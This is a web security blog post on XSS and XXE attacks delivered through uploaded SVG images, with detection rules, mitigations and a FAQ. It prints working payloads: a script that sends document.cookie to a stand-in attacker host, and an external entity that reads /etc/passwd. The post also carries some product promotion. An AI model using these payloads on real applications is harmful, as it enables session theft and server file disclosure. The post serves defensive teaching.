web hacking

SVG XSS and XXE: Attack via Image Upload

SVG XSS and XXE: Attack via Image Upload

An uploaded SVG can execute scripts or read local files. A practical guide to XSS and XXE via SVG: real-world payloads, attack vectors, and mitigations for developers.

  • Posted on 2026-09-21
  • Reading time: 4 min

SVG XSS and XXE: When a Vector Image Becomes an Exploit #

SVG XSS is the execution of JavaScript hidden within an SVG file uploaded or embedded in a page; SVG XXE is the reading of local files or SSRF by declaring external XML entities in the same file. Both exploit the same structural flaw: an SVG file is not an image like a JPEG or PNG, but a text-based XML document that can contain scripts, event handlers, and references to external entities that a parser actually executes. If an application accepts SVG uploads, renders them inline, or passes them to an image processing library without sanitization, both attack surfaces are open.

Why SVG is different from PNG or JPEG #

PNG and JPEG are binary raster formats: pixels and metadata, no executable code. SVG is pure XML text, with tags like <script>, <foreignObject>, event handlers (onload, onerror, onmouseover) and, above all, the possibility of declaring a DOCTYPE with external entities — the same mechanics that make any poorly configured XML parser dangerous (see XXE e XXE Injection for the complete theory).

The problem arises when a browser or server-side library treats the SVG as “just an image” and actually interprets it as an active document.

SVG XSS: Script inside an image #

The most direct payload uses the tag <script> or an event handler:

xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle cx="50" cy="50" r="40" />
</svg>

Or with <script> explicit:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    fetch('https://attacker.tld/steal?c=' + document.cookie)
  </script>
</svg>

The embedding context decides whether the payload executes:

Embedding methodScript executed?Note
<img src="file.svg">NoBrowser sandboxes, no JS execution
<object data="file.svg">YesFull document context
<iframe src="file.svg">YesSame risk of object
<svg> inline in HTMLYesThe parent DOM includes the script
Upload served with Content-Type: image/svg+xml and opened directly in the browserYesThe victim browses the file as a document

This is why a simple ".svg extension = image, okay" check is insufficient: it all depends on how the file is served and referenced after upload. For a general overview of malicious uploads, see File Upload Attack.

SVG XXE: External Entities within XML #

Being XML, an SVG can declare a DOCTYPE with external entities, the classic XXE Injection technique :

xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>

If the server-side XML parser (not the browser) processes this file without disabling DTD/external entities — typical of pipelines that convert, resize, or “clean” SVG server-side — the contents of the read file end up inside the rendered text or in a parsing error that exposes it.

Known real-world case: ImageTragick (CVE-2016-3714) , where ImageMagick processed malicious SVGs by passing commands to the delegate, leading to RCE in addition to file reading. Libraries like librsvg or Apache Batik have had similar CVEs over time related to insecure DTD handling.

Practical vectors where this hits #

  • Avatar/profile upload: user uploads an SVG as profile image, the backend processes it with a conversion/resize library
  • Customizable logos in multi-tenant SaaS: white-label that allows you to upload your company logo in SVG
  • Graphical/collaborative editors: import SVG from external URL or file
  • Poorly implemented online image-to-SVG converters: if the tool performs server-side parsing without hardening

Detection and Blue Team #

  • Parser log: XML errors with references to file://, http://, ftp:// in a field that should only contain an image they are a strong signal
  • WAF/IDS: rules that intercept <!DOCTYPE, <!ENTITY, <script, onload=, onerror= inside payload with Content-Type: image/svg+xml or extension .svg
  • EDR/outbound monitoring: an image processing process (ImageMagick, librsvg) that generates unexpected network traffic is almost always XXE-driven SSRF
  • Response header: verify that the served SVG files have Content-Disposition: attachment e X-Content-Type-Options: nosniff — in-depth details in Security Headers

Mitigations #

XML parsing side (structural fix against XXE):

  • Disable DTDs and external entities in the parser (libxml_disable_entity_loader(true) in PHP, XMLInputFactory with SUPPORT_DTD a false in Java, resolve_entities=False (in lxml Python)
  • Never use a “default” XML parser on user input without explicitly checking the entity configuration

Rendering side (XSS fix):

  • Sanitize the SVG by removing <script>, managers on*, <foreignObject> before serving it — libraries like DOMPurify (client) or dedicated SVG sanitizer (server) do this job
  • Always serve SVG uploads with Content-Disposition: attachment, never render them inline in your application's DOM
  • Apply one CSP restrictive as an additional layer, not as the sole defense

The most effective mitigation remains avoiding the root of the problem. If your application needs to offer users a set of customizable icons or badges (avatars, section logos, UI elements), using a pre-built and verified SVG icon library like IcoSix completely eliminates the attack surface: the user chooses from a controlled set, not uploading arbitrary files that your backend then has to parse.

The same is true when you need the reverse path — turning a raster logo into a vector for a client or internal project: Instead of implementing a homegrown conversion parser (often the real weak point, as seen above with ImageTragick), a tested conversion tool like IcoSix’s PNG to SVG Converter avoids exposing your infrastructure to a homegrown, never-security-reviewed parser component.

MITRE ATT & CK #

TechnologyIDContext
Public-Facing Application ExploitT1190Malicious SVG upload as input vector
Drive-by CompromiseT1189SVG XSS served and opened by the victim
Exploitation for Client ExecutionT1203Executing scripts in browser context
Server-Side Request Forgery (via XXE)T1190 (application sub-technique)External entities triggering internal SSRF requests

Common mistakes #

ErrorWhy it's a problem
Validate the extension only .svgXML content is never inspected
Block <script> but not the managers on*onload, onerror bypass naive filters
Trust the Content-Type declared by the clientIt is entirely controlled by the attacker
Sanitize client-side only (JS)Bypassable by intercepting/modifying the request
Using a “default” image processing library without checking its XML configMany have DTD enabled out-of-the-box

FAQ #

An SVG uploaded as <img> can it run JavaScript? No, the tag <img> sandboxes SVG rendering and blocks scripts and event handlers. The risk exists when the file is opened as a document (<object>, <iframe>, direct navigation) or embedded inline in the DOM.

Is renaming the extension enough to block malicious SVGs? No. The check must be done on the content (magic bytes/parsing), not on the extension, which is easily spoofable.

Are all XML parsers vulnerable to XXE by default? It depends on the language and library version: many have made it safe by default in recent years, but it's not guaranteed for every library/version combination—it should always be checked explicitly, never assumed.

Is an online image conversion tool always safe? Not per se—it depends on how it processes the SVG server-side. A mature and verified tool reduces the risk compared to an unreviewed, in-house parser, but security should always be evaluated on a case-by-case basis.

How do you prevent XXE in SVG files? By disabling DTDs and external entities in the XML parser used to process uploads (not in the browser, which isn't the vulnerability)—this is the only structural fix; filtering suspicious patterns in the file content isn't enough.

#SVG #XSS #XXE #File Upload #Web Application Security

leave a message

I'm not a robot